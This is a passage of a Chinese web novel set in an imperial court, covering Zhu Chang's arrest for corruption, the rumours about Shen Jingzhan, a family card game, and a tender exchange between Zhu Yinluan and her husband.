马车外,祝常还在跟蒋婆子对骂,问她是不是收了祝吟鸾好处,她给她多少银钱,让她在这里胡说八道。 蒋婆子骂人也是一等一的厉害,且比祝大人更泼辣,一手叉腰一手指着祝常。 “胡说八道是谁,大家伙可是长了眼睛的,可不是我乱讲,祝三小姐的贤惠为人,随便找卫家的任何下人来打听都是只有夸的,出门在外还会用自己的银钱接济孤弱的乞丐,给人施粥看病。” “她本性纯良,说话温声细语。对不相干的下人们都这样好,绝对不是忘恩负义的人,祝大人既然说是她的生父,不知你到底是做了些什么,居然把一个纯良的人都逼得不认你了?!” 祝常被气得捂着心口。 无法靠近马车, 还被一个刁民给气成这样,实在是忍不了,扑过去就要打人。 可又被沈景湛的侍卫给拽住两臂,控制住了双脚,一时之间进退两难。 挣扎之间,发冠都乱了,活像是一个疯癫的人,透过风吹扬的车帘缝隙,祝吟鸾见到了他狼狈狰狞的样子。 与多年以前高高在上的“父亲”,简直就像是两个人。 “” 京畿守卫很快就来了,遣散了围观的百姓,顺带从沈景湛的侍卫手中带走了祝常,说是要移交给大理寺,协查祝家结.党营私一案。 听到结.党.营私四个字,祝常的瞳孔瞬间骤缩,“什么结.党.!什么营私!我祝家清清白白,这一切都是因为沈景湛的陷害,他是为了祝吟鸾才报复卫家,报复祝家!都是他!” “抓他啊!”在这一刻,祝常才清楚,沈景湛在将计就计,他故意在这里拖延时间,任由他将围观的百姓给找来,就是让他自己“困”住自己,好拖到京畿的人过来抓他。 “放开我放开我?!本官虽然被停职在家,好歹是朝廷用了几年的命官,你没有捕文,凭什么来抓本官!” 祝常大叫被拖走的期间,沈家的马车已经走远了。 京畿的侍卫将追捕的文书甩到他面前,薄薄的宣纸带着力道就这么打在了他的脸上。 看清楚上面的字和官印,祝常都快被吓傻了。 因为上面陈列的罪状,是他隐藏了很多年,还手握了所有证据的营私案。 可是这都多少年了,究竟是怎么 沈景湛这么厉害么? 他不相信。 那时候沈景湛才多大啊? 思来想去,“不可能!” “这是哪——”来的? 京畿的人说,“这是朱家的人拿出来的证据,祝大人若是有异议,到大理寺去说吧!” 朱家 是他的枕边人,是啊,这么多年以前的案子了,分明已经处理得那么干净,怎么忽然之间就被翻出来了,难道不觉得蹊跷么? 沈景湛就算是手眼通天,遮盖京城,也绝对不可能翻到过去的事情。 原来是朱夫人,朱夫人嫁给他那么多年,替他打理后宅,自然是清楚他底下的弯弯绕绕。 只是他没有想到,当年说好了要销毁的东西居然还被朱夫人留到了现在。 “” 这个贱人! 竟然敢如此背弃他,在他最虚弱的时候落井下石。 祝常面若死灰。 总算是知道沈景湛为何要说能够捞他,让他去休弃朱夫人。 这根本就是沈景湛挖下的陷阱,目的就是为了让朱夫人对付他。 朝廷查了那么久,只是抓到了一些苗头,根本就没有进展,沈景湛那日带着祝吟鸾上祝家的门,就是为了离间祝家,目的就是弄垮祝家。 木已成舟,祝常就算是要大喊大叫早已没有了力气,因为他所有的力气就在刚才的对峙当中用光了。 意识到这件事情背后的真相,他更是犹如脱去了所有的力气,只能被这些京畿的侍卫给拖着走了。 “” 回到了宅院,祝吟鸾没想到居然在这里见到蒋婆子。 祝吟鸾下意识看向沈景湛,问是不是他带来的?他朝着她微微颔首笑。 也是,除却沈景湛还有谁啊?总不能是蒋婆子自己跟来的吧?沈景湛哪里就是这么好跟的了? 蒋婆子给祝吟鸾请安磕头,叫她世子少夫人。 “快快起来。”祝吟鸾上前搀扶她。 沈景湛见她弯腰,让她要小心些。 蒋婆子受宠若惊,连声说她不敢当,“今日能再见少夫人一面,真是我的荣幸。” 蒋婆子告诉祝吟鸾,她走了以后,卫家很多婆子也离开了。 她也没有在卫家待多久,她女儿嫁出去以后,日子过得好,给她在京城团了一个小院子,地方不大,挤在一起,到底是自己的窝。 她男人的身子骨也好了,两人就在酒楼帮闲跑腿买菜运酒,银钱不多,但很快活。 “这都要多谢当日少夫人愿意帮我,我才有如今的好日子过,若不是您,我现如今只怕不知道怎么样了。” 若是当初祝吟鸾揭穿了她,她被赶出卫家,女儿的婚事即便是不黄,那夫家定然也瞧不上了,她男人的病也不可能好起来。 都是祝吟鸾放了她一马,还给了她女儿筹备了嫁妆,找人给她男人瞧病。 “奴婢日日祈祷少夫人平安顺遂,再觅得如意郎君,日子过得美满,如今也算是应了。”沈景湛可是全京城最好的公子了,位高权重,皮相俊朗。 蒋婆子方才跟祝常吵架的时候无比彪悍,此刻到她的面前三两句话的功夫,眼眶红了扑簌掉眼泪。 祝吟鸾伸手给她擦,她却自己连忙擦了。 “叫少夫人看笑话了,我就是见到您太高兴了。” “不哭了。”祝吟鸾哄她,“你如今好,我自然也是好的,我已经身怀有孕了。” “是,奴婢听说了,都是卫家的没有福气拖累了您!” 都是沈景湛的“功劳”! 思及此,祝吟鸾转过去瞧了他一眼,他还在挑眉浅笑。 “这些都是奴婢家中养的土鸡下的鸡蛋,吃了很是补身子,奴婢特地送给您。” 原本是要拿去卖的,一个能卖许多文,但今日见到祝吟鸾,她实在高兴,身上又没有什么值钱的,索性就将这筐养了许久攒了许久的土鸡蛋送给她。 她也知道祝吟鸾如今是世子夫人,将来就是侯夫人,可能看不上这样的“土物”。 可已经是她能够拿得出手最好的赠礼,她必要向祝吟鸾表示谢意,无论她要不要,总是要谢的。 没想到祝吟鸾亲手接了过去,说是感谢她,她往前就很喜欢吃,今日便让明芽给她做。 蒋婆子欣喜万分,笑着说好。 两人又说了几句话,沈景湛身边的人才送蒋婆子离开。 见她捧抱着鸡蛋,真像是几年前抱着花出现在他的面前,那时候她衣裙清简,洗得有些许泛白,却丝毫不减落魄寒酸,反而有些飘飘似仙。 这么多年过去了,说是变了,却也没有变。 还是一如既往的可爱。 “我帮鸾儿提。”沈景湛还以为她会拒绝,到底没有,只是叮嘱他,“小心些,别砸坏了。” 俊美的男人蹙眉,垂眸看向竹篮里的东西,“鸡蛋都比我重要了?” 祝吟鸾,“” “咳,这不一样!” “你不要又混为一谈,讲些不中听的。” “似乎也没有说错吧。”沈景湛道,“若是我不小心摔了” 话没有说完,沈景湛已经换了另外一只手挪到了旁边去,“摔了一两个,鸾儿要打我不成?” “你倒是想要我打你。”她没好气。 别想故意激 她,上一次打沈景湛给他打爽的事情,她都没有忘记呢。 越想越不放心,祝吟鸾伸手,“我自己拿吧。” “我拿。”他牵住了她的手,带着她往膳房走,亲自将这篮土鸡蛋给放好,归置着妥妥当当,问她可放下心了? 祝吟鸾瞧了一会,心里不仅满意,还觉得有些许好笑。 她一本正经严肃道,“一般。” “一般?”男人疑问,伸手捏了她的面颊,故意将鸡蛋放置到边沿,问她这样如何。 祝吟鸾瞪他,“” 他惹了人生气,立马就笑,重新放好不算,还伸手捏了捏她的面颊。 “鸾儿合该多笑笑。” 祝吟鸾看着男人俊逸含笑的眉眼,的确跟着牵动了眉梢。 京城发生的事情只经过半日的发酵,便流传得厉害。 夜里,仿佛刮过一阵猛烈的风,越吹越烈。 翌日起来,京城大街小巷,无一不在说沈景湛的事情,与祝吟鸾相关的辩驳都被含糊带去,在其中他只扮演一个被抢夺的角色。 蒋婆子为她出头说的事情没有人放在心上,反而是沈景湛被人给推到了风尖浪口。 前些时日本就有大批朝臣为了太尉一事弹劾他,现如今更是闹得厉害,已经到了不可阻止的地步。 京城的人说他贵为天子近臣,嚣张跋扈,更是仗着侯府沈家的势力,行事张扬,目中无人。 说他以权谋私,将沈家的子弟沈嘉显送到边境之地做县官历练是幌子,实际上就是为了笼络边部的人,大开门户,与敌人里应外合。 说他想要自立为王,说他当年外出平乱都是假象,朝臣说他当时不过就是个新贵,何以能够如此厉害,将边疆的祸乱都给平定了呢? 分明是和外敌串通好了,假意屈服,这些年好在边部囤积重兵,借此里应外合,沈嘉显就是他的眼线。 有人把沈嘉显与边部少首领吃酒说话的佐证都给找了出来,呈到了御前。 除此之外,还牵扯到了卫家和祝家的事情,其中的引子便是祝吟鸾,说他这些年在朝廷当中运筹帷幄,欺上瞒下,暗中提点朝臣,谋夺下臣正妻,足以见他的心机城府有多深。 当年的新政都是他大肆收营党羽给出去的好处,前姚太尉不过就是被当枪使了,还说太尉察觉到了此事,才被他勘察弹劾拉下马,什么泄题案,都是他的计谋。 除此之外,有人说当年太尉教导过太子,沈家的人让沈景湛拜太尉为老师,还成为他的关门太子,名声压在了太子的身上,这便是忤逆不尊君上。 诸如此类,早朝之上的朝堂可谓是争论不休,京城也有很多人在说这件事情。 沈景湛本就名满京城,正所谓物极必反,暗中不满也纷纷发声了。 祝吟鸾便是静养在宅院,也听到风声。 昨日夜里闹得太晚,醒来时沈景湛不在,说是出去给她买甜糕了。 她很着急,要出去,可又被拦下,等了许久也不见沈景湛回来。 祝吟鸾在这里坐不住,让人备马车回沈家。 刚到沈家,便听到里面有人在哭。 “” 第95章 第95章“鸾儿喜欢我吗还是厌恶我?…… 想到上次去祝家听到见到的一系列变故,祝吟鸾的心跳加剧。 几乎是三步并一步上台阶,看得跟在她后面的姣惠和明芽吓了一大跳,两人都要围成圈护着她了。 “小姐,您当心些,不急在这一时。” 进去以后了解事情的原委,方才清楚,原来不知是谁,居然从沈家的院墙外扔了毒蜂窝进来,那毒蜂乱窜,可是厉害,咬伤了不少人。 所以受到波及的小丫鬟和仆妇们这才哭成一团,不仅仅是哭,就连脸都肿得厉害,伤在脸上,青青紫紫一片,无人不担心。 “是谁扔进来的?”是为了弄沈家吗,明面上弄了还不够,居然还要用这样下作的手段。 “那飞贼速度脚底抹油溜得极快,已经派人去抓了。” “郎中呢,去找了吗?”左边的小丫鬟被蜇得特别厉害,整张脸肿到了一处,话都说不出来了,看起来滑稽又可怜。 “已经去了。”匆匆赶来幸免于难的管事跟祝吟鸾汇报着。 不远处沈夫人也听说了这边的事情,刚从沈老太太的韵梅堂赶着过来查看。 过来的路上已经听说了有人往沈家院子里面抛却毒蜂,乍见祝吟鸾在人群中间站着,可是把沈夫人给吓到了。 “你怎么回来了?” “还在这里站着?!”说话间,围着祝吟鸾看来看去。 沈夫人的声音虽然是严厉的,神色更算不上好看,但话语里的关怀却是祝吟鸾很少感受到的东西。 她笑着让沈夫人安心,她来的时候已经没有毒蜂了。 “难保有残留的,这些蛇虫毒蚁最是怕人。”沈夫人亲手给她拢了斗篷的帽子,把祝吟鸾遮得严严实实,吩咐小丫鬟先送祝吟鸾去安全的地方。 “一会我再过去寻你,你先离开。”沈夫人要叫人彻查这一边,祝吟鸾清楚自己留下也是麻烦,便点头了,况且这会子急呢,根本就不是说话的地方。 她也去了韵梅堂看沈老太太。 沈老太太方才吃了药,精气神瞧着不错,似乎没有受到外面流言蜚语的影响。 她叫祝吟鸾到跟前坐,还没说话呢,外面急匆匆跑进来一个老妈妈,说是来传沈景湛的话,祝吟鸾太过于担心了,可算是有了他的消息。 她倏然站起来,往外走了几步看过去,没有见到沈景湛的人,只见他传话的婆子,手里提着一个食屉,说是沈景湛给她买的甜米糕,还热着呢。 除此之外,还有一些她喜欢的小汤圆,是芝麻花生核桃馅儿的。 “夫君呢?”祝吟鸾往外看了一圈,的确是没有见到他。 “世子爷被陛下给叫到宫里去了。” “叫宫里去做什么?”沈景湛已经告假许久了。 今日早朝他没有去,怎么忽然就被传唤了? 祝吟鸾实在担心,一直追着问。 沈老太太看着她的反应,倒是笑。 祝吟鸾这样为沈景湛担心,沈老太太也多欣慰,往日里沈景湛对她万分喜欢,她显得很是冷静。 今儿也总算是着急了,若是她那孙儿见了,只怕是无比愉悦。 “具体是为何,卑职等不得而知,但世子爷说了让您放宽心,好生养着,这些时日便在侯府歇息。” 祝吟鸾也不知道说些什么为好,沈景湛前来传话的下属已经离开了。 她站在门口顶顶往外瞧了好一会,是旁边的明芽提醒,祝吟鸾才反应过来这是什么地方。 她连忙折返回去,跟沈老太太说话。 “你都 听到外面人说什么了吧。”沈老太太问。 祝吟鸾颔首说听到了,她还把晨起发生的事情跟沈老太太说了一遍,“孙媳放心不下,便过来侯府,想要探听消息。” 沈老夫人看着她的脸蛋,即便是祝吟鸾不说,已经可以叫人从她的脸上看出担忧的神色了。 她看起来像是担心沈景湛这个人,并不像是担心她的夫君,沈世子。 原本沈老太太还想替沈景湛试探一二,但又怕伤了祝吟鸾的心,这身怀有孕的妇人心思最是细腻了。 况且,祝吟鸾往日的人品性子,她都有所了解,不是那起子拜高踩低的,人也踏实。 思及此,沈老太太最终还是没有问。 她宽慰祝吟鸾,“朝廷之上的动荡皆是正常的,听澜年纪轻轻位极人臣,受命御前,自然是容易成为众矢之的。” 听沈老太太这么说,那就是没事了? 可京城当中闹得满城风雨,圣上还把沈景湛给叫走了,祝吟鸾依旧没有办法沉下心思。 毕竟,已经不是什么捕风捉影的小事情了。 “夫君他——” 祝吟鸾斟酌着正要开口,外面传来脚步声,她连忙回过头去看,心里又黯然下来,怎么会期待是沈景湛呢,都说不是他了。 沈夫人见祝吟鸾神色寥落下来,不明所以,问是不是哪里不舒服,莫不是方才被毒峰给蜇到了? 说话间,就要叫人去把郎中给找过来。 是沈老太太抬手制止,“不必去,孙媳妇没事,就是担心听澜,心里放不下,面上也缓不过来。” 沈夫人听了松一口气,耐心哄着祝吟鸾,“听澜无事,左不过都有你公爹护着的。” 沈老太太给旁边的心腹老妈妈使了一个眼色,韵梅堂里外便被清了场子。 祝吟鸾听沈夫人这么说,又见她的脸色松泛,祝吟鸾总算是有些许相信,沈景湛很有可能是真的没事。 若有事的话,沈老太太沉得住气,沈夫人也不可能如此云淡风轻吧? 到底是真的没事,还是在她面前装模作样? 祝吟鸾盯着沈夫人瞧了许久,倒是把沈夫人给看笑了,“难不成吟鸾认为我这个做婆母的诓骗你不成?” “儿媳不敢,只是外面传得厉害,我难以放下心。” 那句话不是说,木秀于林风必摧之吗? 更何况,沈景湛如此优秀。 这里也没有外人,沈夫人径直告诉祝吟鸾,“你放心,听澜智多近妖,决计不会出问题,外面的流言蜚语岂可当真?若真是听了那起子小人的瞎话,累得可是你自己的肚子,你现如今月份越来越大了,若出意外那可怎么办啊?” 祝吟鸾不好对朝廷上面的事情表态,即便是当着沈家女眷的面。 好半天,祝吟鸾来了一句,“媳妇知道了。” “嗯。”沈夫人颔首催促她尝尝沈景湛派人给她送回来的糕点,又笑着调侃了祝吟鸾两句。 说她做亲生母亲,如今要托她的福气才能够吃到沈景湛买来的糕点了。 得知沈夫人的话语里面并无真正指责的恶意,祝吟鸾倒是笑了。 这一笑,心头宽泛不少。 三人坐在这一道说话,沈老太太自从换了药方子,整个人的精气神越发的好了,没有以前那么容易昏睡。 今日祝吟鸾回来她高兴,没有午间小憩,起来了不说,还叫人摆了牌,说是教祝吟鸾玩。 正愁着缺一个人呢,二房的夫人来了,恰好搭了牌位置,她还领着儿媳妇,抱着孙子,沈老太太逗着小重孙玩了一会。 沈家跟她想的不太一样,处处都是欢声笑语的,还以为沈景湛出事,沈家众人都会惴惴不安,可众人似乎都不忧心? 尤其是二房夫人,沈景湛这次被参,就有二房沈嘉显结交边疆少首领的“佐证”? 二房夫人怎么都不见愁容,毕竟先前沈嘉显被外放,她一连着几月都一筹莫展。 如今倒是松下来了。 祝吟鸾百思不得其解,最终还是什么都没说。 二房夫人的儿媳妇在旁边抱着孩子,沈夫人沈老太太相对而坐,祝吟鸾对面就是二房夫人,四人开始玩牌。 祝吟鸾不经常玩,手比较生,动作也比较慢,三人都很有耐心等着她。 二房儿媳妇羡慕看着祝吟鸾,忍不住在心里想,这郎君有本事,在婆家的地位也随之高涨,孩子都还没有生下来,不仅仅是自家的婆母将就这,就连家里的老祖宗都眷顾起来。 祝吟鸾还只是个小门户出身的,她没有家底,全都凭借沈景湛给她添了荣光,硬.生生挤.入高门,成为贵妇的上位首席之一。 人与人之间的命还真是不同。 二房夫人的儿媳妇走神期间,这里的牌面已经走完一局了。 祝吟鸾玩得不熟,即便是亲长们有心让,却也还是输了。 “湛哥儿媳妇过银钱的速度倒是很快啊。”祝吟鸾拿了银票给二房夫人,这把是她先推了牌。 二房夫人没有接,说,“方才就是热热手,且不算吧,下把若是再输,你婶婶我可就要收钱了。” 祝吟鸾想说怎么是好? 沈夫人却递眼神让她收回去。 祝吟鸾谢过二房夫人。 第二局她打得比较认真,却也还是输了,因为怎么熟都比不上这些整日里摸牌的夫人们,她们不仅仅是玩牌,还会猜牌,不管是丢牌,放牌,都十分有讲究。 不仅仅是第二局,第三局,接下来一整个下午,祝吟鸾都在输,沈夫人也输,但没有她输得多。 沈老太太和二房夫人赢得盆满钵满,尤其是二房夫人,笑得合不拢嘴,说祝吟鸾今儿是不是故意给她放了水,倒是叫祝吟鸾哭笑不得。 放在以前,祝吟鸾完全就不敢玩牌,还玩这么大的牌面。 多亏了沈景湛和沈家给她的底子。 若是从前的她哪里想得到,今日能跟京城高门贵妇一起上桌玩牌,一下午输那么多眼都不眨。 玩牌已经不在乎输赢多少,就是想要个趣味,放到以前她是连想都不敢想的。 可这舒适的日子就这么过上了,还过得无比闲爽。 “要不要抓阄换个位置,说不定换换就好了。” 沈老太太精神好,也笑呢,必然得接着玩了。 祝吟鸾说不换了,二房夫人却叫她换,沈夫人说就依着抓阄的法子吧,这阄一抓,祝吟鸾跟沈夫人换了,二房夫人与沈老太太对调。 可这不熟悉牌,就算是祝吟鸾一下午学了不少,还换了位置,到底是输了。 输得特别惨,午后好歹赢了一两把,一直到晚膳前面都没有赢了,满盘皆输。 沈夫人都忍不住笑了,说她是不是打累了,偏生瞧着精神也还好。 “媳妇牌技不佳,着实不好意思” “这有什么不好意思的,咱们就乐得跟湛哥儿媳妇玩。” 换了位置以后,依旧是二房夫人和沈老太太“平分秋色”,沈夫人赢得少了一些,祝吟鸾纯纯倒贴钱。 “今日下手狠了一些,给媳妇退回去一些吧。”二房夫人拿了一些银票给祝吟鸾。 “婶婶,这可使不得,愿赌服输。”她道。 沈夫人这次没说祝吟鸾,附和她的话说就是这个愿赌服输的理好。 “行。”得了那么多银钱,都快能够盘下一间铺面了,二房夫人乐得收下。 心中对祝吟鸾改观不少,不是因为她这很烂的牌技,而是因为她输得起。 往前跟京城一些贵眷夫人们玩,连着输三两把,脸色就变了,若是再多到六七把,必然开始找借口,要么换位置要么家中有事不玩了。 祝吟鸾出身小门小户,却不穷酸。 沈老太太看着二房夫人数钱的样子,笑着跟祝吟鸾说,“待听澜回来,让他教给你玩牌。” “夫君?” “是啊。”沈夫人接了话茬,“听澜玩牌十分厉害,他文武双全,琴棋书画之类的,皆不在话下,多是名列前茅。” 二房夫人说,“媳妇若是得了湛哥儿的真传,那你婶婶我可不敢跟你一起玩。” “弟妹不至于这样输不起吧?”沈夫人说祝吟鸾今日输了这么多,过后总要给人捞些本回来。 二房夫人说,“哪里还等到磨炼牌技了?” “再过几个月,肚子里的孩子生了,必然给送一封厚厚的礼。” 沈夫人笑着说这还差不多的。 正说着话,外面传来脚步声,祝吟鸾看着小丫鬟们在理牌,略微出神,不料外面传来一道温润的声音,她整个人略微一震? 身体比迟钝的脑子转得更快。 绕过屏风迎面走进来的人不是沈景湛是谁? 遒劲的长腿大步流星迈进来,整个人的脸上挂着如沐春风的淡淡笑意。 别说是祝吟鸾看待了,就连二房夫人和沈夫人, 以及二房夫人的儿媳妇都觉得他这样子着实惑人得很。 “湛哥儿回来了?”二房夫人告诉他今日打牌祝吟鸾输惨了的事情。 “是吗?”沈景湛先是给内堂的亲长们见了礼,随后便坐到了祝吟鸾的身边。 “趁着我不在家,祖母和母亲还有婶婶欺负我媳妇一个人?” 沈老太太叫他问祝吟鸾究竟是欺负了没有? 沈夫人和二房夫人自然是附和着沈老太太的话了,让沈景湛问究竟有没有欺负? 不等沈景湛问,回过神的祝吟鸾率先说没有欺负。 “那鸾儿今日玩得开心吗?”他落座到她的身侧,下意识伸手过去要碰碰她的脸蛋,又怕她生气,最后还是没有碰,只是碰了碰她的步摇流苏。 “今日开心”她感受到他身上传来的清冽的气息,有种不真实的安定。 沈景湛就这么回来了? 还以为他他像上次一样被召进宫里,许多日都不得露面,不得归家呢。 这么快? “今日输给婶婶多少,我双倍的数目抵给鸾儿?” “不用”祝吟鸾已经不想说这个了,回身之时给沈景湛递了一个眼神,示意他不要再说了。 外面的婆子们说前厅已经摆好了席面,请众人挪步。 祝吟鸾去扶沈老太太,沈景湛绕去另外一边,两人在一左一右,见两人就在身侧,叫沈老太太心中愉悦。 前厅沈侯爷也回来了,除此之外,各房的亲长们也没有缺席。 在饭桌之上,众人其乐融融用着饭菜话家常,并没有提及京城外面发生的事情。 相较于她之前在卫家,卫如琢出事,卫家人急得团团转的场面,这沈家的人实在是太过于淡然了,就仿佛沈景湛根本就不会出事一般,外面也没有闹这么一回事。 祝吟鸾也不好露出慌怯,照常吃着饭菜,沈景湛就在她身侧给她夹菜,他还问她今日的甜米糕都吃了没? 之所以叫人送回来晚了,不是因为有事耽误,而是他先尝了一块,觉得今日的甜米糕做得太甜了,便叫那个店家减了饴糖,重新做,所以才叫人送回来晚了。 没有人提朝廷的事情,祝吟鸾接的话也小心避开了她最想要问的事情。 说她吃了不少,今日亲长们也跟着她一起吃了,味道很好,大家都很喜欢。 即便她这样说了,沈景湛依然不满意,他追着问她,“鸾儿喜欢吗?” 祝吟鸾瞧他一眼,“我喜欢的。” 为了回报沈景湛的喜欢,她给沈景湛夹了一块摆放在她面前的香酥小排骨,是她近期最喜欢的。 沈景湛瞧着她夹过来的小排骨,实在是忍不住笑了。 自从把祝吟鸾给娶回家以后,沈景湛一改往日的清冷模样,往日里便总是在笑。 俊逸归俊逸,沈家的人畏惧他,总觉得笑了没好事,可见多了,竟也习惯了。 但沈景湛一般都是浅笑,今日居然笑出了声音。 习惯注意着那边的亲长们,见沈景湛笑得那么愉悦也是不解。 祝吟鸾不就给他夹了个香酥小排骨么? 说句实话,笑得有些许不值钱了,“” 简直难以让人想象,这是京城最难收买的,柴米油盐不进的天子近臣。 就算是把小排骨丢给沈家豢养的小狗,对方或许都不想吃了。 “” 当事两人浑然不觉还在用膳。 晚膳散了之后,祝吟鸾和沈景湛自然是留在侯府了。 庭院之内依旧维持着两人离开时的模样,日日有人打扫,纤尘不染。 祝吟鸾再回来,竟没有了之前的憋闷感觉。 或许是因为此刻记挂着别的事情,到了内室,她忙不及坐下就问沈景湛,是不是出事了? 可对方捏着她手腕,将她扯到怀中,让她坐到他的大腿上,埋入她的肩骨处,深深嗅着她身上的味道。 被嗅的祝吟鸾,“” “你说话啊。”她着急催促他。 沈景湛还是不说话,她忍不住去推沈景湛的俊脸,将他整个人稍微推远了一些。 可是后面就是案桌,再怎么推,沈景湛也还是那副样子,根本就不能够彻底将沈景湛推开,她后背抵着案桌,嘴角噙着淡淡的笑意,慵懒瞧着她。 祝吟鸾被他看得有些许脸热,面上飞上了红晕,她抿着唇角,或许转挪开。 “你不要再这样了,快些说啊。” “鸾儿是在担心我?” 祝吟鸾,“” “不是。” “那你为何要追着问我的安危。” “因为你是我的夫君,你我之间利益一体,荣辱与共,若你出事,我也在劫难逃。” “原来是担心自己出事啊。”原本在笑的男人神色忽而落寞下来,他的语气也随之寥落。 即便知道他很有可能是作戏,但祝吟鸾的心里还是免不了一紧,朝着他看过去。 可真的看过去,发现他似乎不是装的,垂着眼睛,心事重重? 祝吟鸾蹙眉,“你不要逗趣我了,到底有没有事。” “我已经跟圣上禀明,此事与鸾儿没有任何干系,京城人所说皆属实,祝家卫家所有的一切都是我所为,尤其是卫如琢不能人道的事情,京城当中的人都知道当初委屈了你。” “是我不好”他的声音语重心长地还挺像那么一回事。 一时之间还真的把祝吟鸾给唬住了。 她的眉头越皱越深。 “圣上体恤我入朝以来也有不少苦劳,给了恩许,答允我,只处置我一个人不会牵连沈家,不会牵连鸾儿。” “圣旨明日就会下来。” 祝吟鸾起初还不信,一听到圣旨两个字心又慌了,料想沈景湛不会拿这个说谎吧? 她道,“你!你这是真的吗?若是真的?何至于此?”沈夫人不是说,沈侯爷会保沈景湛? 难不成是为了宽慰她,沈家人今日所做的一切全都是唬骗她的假象吗? “所以鸾儿,在我们即将分别的前一夜,你能不能跟我说一句实话?” 他抬眸看着她,眼瞳瞧着十分的伤神,还有些许落魄,叫祝吟鸾觉得仿佛真的要分别了。 加之他的语气是那么的较真,祝吟鸾感觉仿佛真的要出事一般? 难不成是真的吗? “你” “我就想听一句实话,鸾儿也不怕伤害我,若真是讨厌,你也同我直说。” “关于你对我的一切,无论喜厌” 他说着笑起来,只是这笑有种夜里昙花一现的美感,唯一不好转瞬即逝了。 “都叫我心绪激动难以抑制。” “所以” 他拉着她的手触碰上他的眉眼,用俊脸蹭着她的掌心,引得祝吟鸾心尖颤粟不止。 “鸾儿喜欢我么?还是厌恶我?” 第96章 第96章坦白之后的缱绻。 说实话,祝吟鸾在这一刻的确是被勾引到了。 毕竟京城世家大族里最丰神俊秀的公子,他抱着她,用他俊美清绝的面颊去她的掌心。 宛若一只低眉顺眼的白虎,往日里戾气横生,清冷难以靠近,此刻却与她亲近,蹭着她的手心,眼睫微垂,显出一派的温润无害。 是在跟她撒娇么? 祝吟鸾本来就是一个吃软的人,哪里受得住沈景湛这般贴近撩拨,更何况他还跟她说着一些以退为进,为她考虑的话,这让她怎么说? 祝吟鸾想要控制自己的心不为沈景湛而颤栗,但这似乎有些许难。 因为她根本没有办法控制,就算是用手去捂住,去触碰,都感觉快要跳出胸口了,砰砰砰…… 而那边沈景湛还在不住的催促她,问她到底喜不 喜欢他? 若是不喜欢,便是厌恶也好,只要她肯说出一句对他的感受。 不管是什么,他都很想听,真的十分想听。 祝吟鸾的心里很乱,在男人温润的催促之下啊,竟然真的开口了。 “我”喜欢两个字到了嘴边,就快要脱口而出了,又被她给噎了回去。 男人似乎已经察觉到了她要说什么,眼睫蹭得亮了起来。 可她只是唇瓣翕动,根本就不曾发出声音。 沈景湛问,“为何不说下去了。” 还以为祝吟鸾不会说了,亦或者反驳他,没有她别过脸,抽回她的手之后,居然跟他道,“我不讨厌你。” “不讨厌,那就是喜欢了?” 他还真是会顺着杆子往上爬啊,祝吟鸾本来想啐他一口。 可今日不同之前,想到今日外面发生的事情,他在她跟前说的那些话,蹭着她掌心的动作。 不管他说的那些乱七八糟的话是真是假,他已经算是跟着她低头了。 祝吟鸾最后还是对着沈景湛颔了颔首,很轻柔的一声嗯。 他十分激动,猛然将她抱起,举得很高。 祝吟鸾的身子骨忽而腾空,吓得尖叫一声,两只手揽着他的肩膀居高临下,语气埋怨他的莽撞,实在是受不了了。 “你放我下来,若是不小心磕磕碰碰,摔到了孩子,这可怎么是好?”祝吟鸾掐拍着他的肩膀。 “我自然是不会让鸾儿摔倒,就是想要再听你说一遍你喜爱我。” “看着我的眼睛和我说,好不好?” 祝吟鸾,“” “我方才说什么了吗?我什么都没有说,你快些放我下来,不要再闹我了。” “我想要听鸾儿说话。” “说不讨厌我,喜爱我的话。” 祝吟鸾面色一红,觉得沈景湛的声音有些许大了,只怕要被外面的小丫鬟们给听去,可就在此时此刻,她也不知道要怎么阻止沈景湛。 毕竟他这人平日里斯文正经,可真要耍起混来,也是十足十的厉害。 祝吟鸾此时此刻真是不知道说些什么为好了。 过了好一会,她眼珠子一转,跟沈景湛打着商量,“你放我下来我就和你说。” “果真吗?” “我将鸾儿放下来之后,你就果真跟我说喜爱我,亲我?” “嗯嗯嗯。”祝吟鸾都没有细听他说什么了,至于后面沈景湛说的亲他,他也一并给应了,却没有过了脑子。 沈景湛很了解她,哪里会不知道她这般敷衍就是缓兵之计而已。 “鸾儿骗人,我若是放你下来,你必定出尔反尔。” “我”虽然被猜中了但祝吟鸾还是要为自己给正名,“我我没有。” 她理直气壮,想要叫自己的气息和语气都趋向平稳。 “是吗?” “鸾儿还想骗我,你可曾知道我有多了解你?” 祝吟鸾,“” 她知道,她不仅仅是知道,更清楚她这种“兵不厌诈”的把戏究竟是跟谁学的,还不是跟沈景湛,都是因为他把她给带坏了。 偏生如此,她到底也不好多说些什么。 “你不要以小人之心揣君子之腹。”祝吟鸾说出这句话的时候,也是真的觉得她是学坏了,若是放在很久之前,她是绝对说不出这句话的。 现如今跟着沈景湛在一处久了,她不仅仅是学得近朱者赤近墨者黑,还甚至还加以实施了起来,说得面不改色。 “谁是小人之心,谁又是君子之腹?”沈景湛笑着问她? “既然这么说,那我将鸾儿放下来,你一定会照做了?” 都争到了这个份上,为了安定他,祝吟鸾不得不一条道走到黑,“嗯!” “我会照做的。” “好。”沈景湛也没有再多说些许什么,居然真的将她给放下来了,祝吟鸾十分意外。 “你” 话都说完,沈景湛居然真的就这么将她给放下来了。 祝吟鸾还有些不适应,直到沈景湛盯着她,看着她,要她兑现诺言,付诸行动的时候。 祝吟鸾又开始打别的主意了。 她觉得直接逃离不现实,沈景湛眼下的确是没有任何直接束缚她的动作,但是沈景湛的视线是一直追着她,无形当中束缚着她的。 若是她想要趁着沈景湛不防备,迅速逃离,只怕是难了,于是于是她再一次跟沈景湛打着商量,“我先去沐浴可以么?” 沈景湛瞧着她的面颊。 忍不住勾唇,她眼下的确是装得很好,但也是总是会在无意之间露出马脚,而她自己是浑然未觉的。 沈景湛饶有兴致问她,“要沐浴多久?” 祝吟鸾想不出一个确切满意的时辰,当然不能跟沈景湛说越长越好。 她心里打定的主意是一会去沐浴了,把沈景湛也赶去沐浴,然后她的速度要快一些,在沈景湛出来之前率先上了床榻,径直入睡,这样的话沈景湛便寻不到空子了。 “看来在我锒铛入狱,罢官削爵之前是无法亲耳听到鸾儿说不讨厌,喜爱我,主动亲我了。” 祝吟鸾溜远的思绪又很快绕了回来。 她整个人几乎都快要被沈景湛给绕晕了,然后忘记今日担心的事情。 京城外面的流言蜚语,还有陛下叫他究竟是要去做些什么呢? 沈家人今日的态度也是奇奇怪怪的。 祝吟鸾回想起正事,也不说去沐浴了。 她的神色在一瞬间认真起来,她问沈景湛,“陛下果真要处罚你么?” 